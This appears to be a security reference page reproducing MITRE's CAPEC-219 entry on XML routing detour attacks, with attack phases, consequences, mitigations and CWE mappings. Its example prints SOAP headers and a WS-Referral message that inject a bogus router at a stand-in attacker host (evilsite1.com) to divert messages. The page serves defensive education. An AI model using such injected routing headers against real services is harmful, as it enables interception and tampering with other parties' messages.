CAPEC-219: XML Routing Detour Attacks
An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
Last updated
Overview
CAPEC-219 (XML Routing Detour Attacks) is a standard-level attack pattern catalogued by MITRE in the Common Attack Pattern Enumeration and Classification (CAPEC). It describes a recurring method attackers use to exploit software weaknesses.
How the attack works
The phases an attacker typically follows.
- Step 1Explore
[Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.
- Use automated tool to record all instances to process XML requests or find exposed WSDL.
- Use tools to crawl WSDL
- Step 2Experiment
[Identify SOAP messages that have multiple state processing.] Inspect instance to see whether the XML processing has multiple stages or not.
- Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.
- Step 3Exploit
[Launch an XML routing detour attack] The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).
- The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message
What the attacker needs
Prerequisites
- The targeted system must have multiple stages processing of XML content.
Skills required
- Low skill: To inject a bogus node in the XML routing table
Resources required
- The attacker must be able to insert or compromise a system into the processing path for the transaction.
Consequences
What a successful CAPEC-219 attack can achieve.
Modify Data
Affects: Integrity
Read Data
Affects: Confidentiality
Gain Privileges
Affects: Accountability, Authentication, Authorization, Non-Repudiation
Bypass Protection Mechanism
Affects: Access Control, Authorization
How to mitigate it
Defenses that reduce the risk of CAPEC-219.
- Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
- Implementation: Use SSL for connections between all parties with mutual authentication.
Examples
Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction). Example SOAP message with routing information in header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Add an additional node (example3.com/router) to the XML path in a WS-Referral message <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref> Resulting in the following SOAP Header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted. Example of WS-Referral based WS-Routing injection of the bogus node route: <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref> Resulting XML Routing Detour attack: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).
Terminology & mappings
Mapped taxonomies
- WASC: Routing Detour (32)
- WASC: XML Entity Expansion (44)
Frequently asked questions
Common questions about CAPEC-219.
- What is CAPEC-219?
- An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
- How does a XML Routing Detour Attacks attack work?
- It typically unfolds over 3 phases. It begins with: [Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.
- How do you prevent CAPEC-219?
- Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
- What weaknesses does CAPEC-219 target?
- CAPEC-219 exploits 2 CWE weaknesses: CWE-441 (Unintended Proxy or Intermediary) and CWE-610 (Externally Controlled Reference to a Resource in Another Sphere).
- How severe is CAPEC-219?
- MITRE rates CAPEC-219 as Medium severity with high likelihood of attack.
Sources
References
Attack-pattern data is sourced from the MITRE CAPEC catalog (v3.9). Weakness associations link to the corresponding CWE entries on RadicalNotion.AI.
Defend against CAPEC-219
Track the CVEs and weaknesses this technique exploits, with AI-written analysis and remediation steps.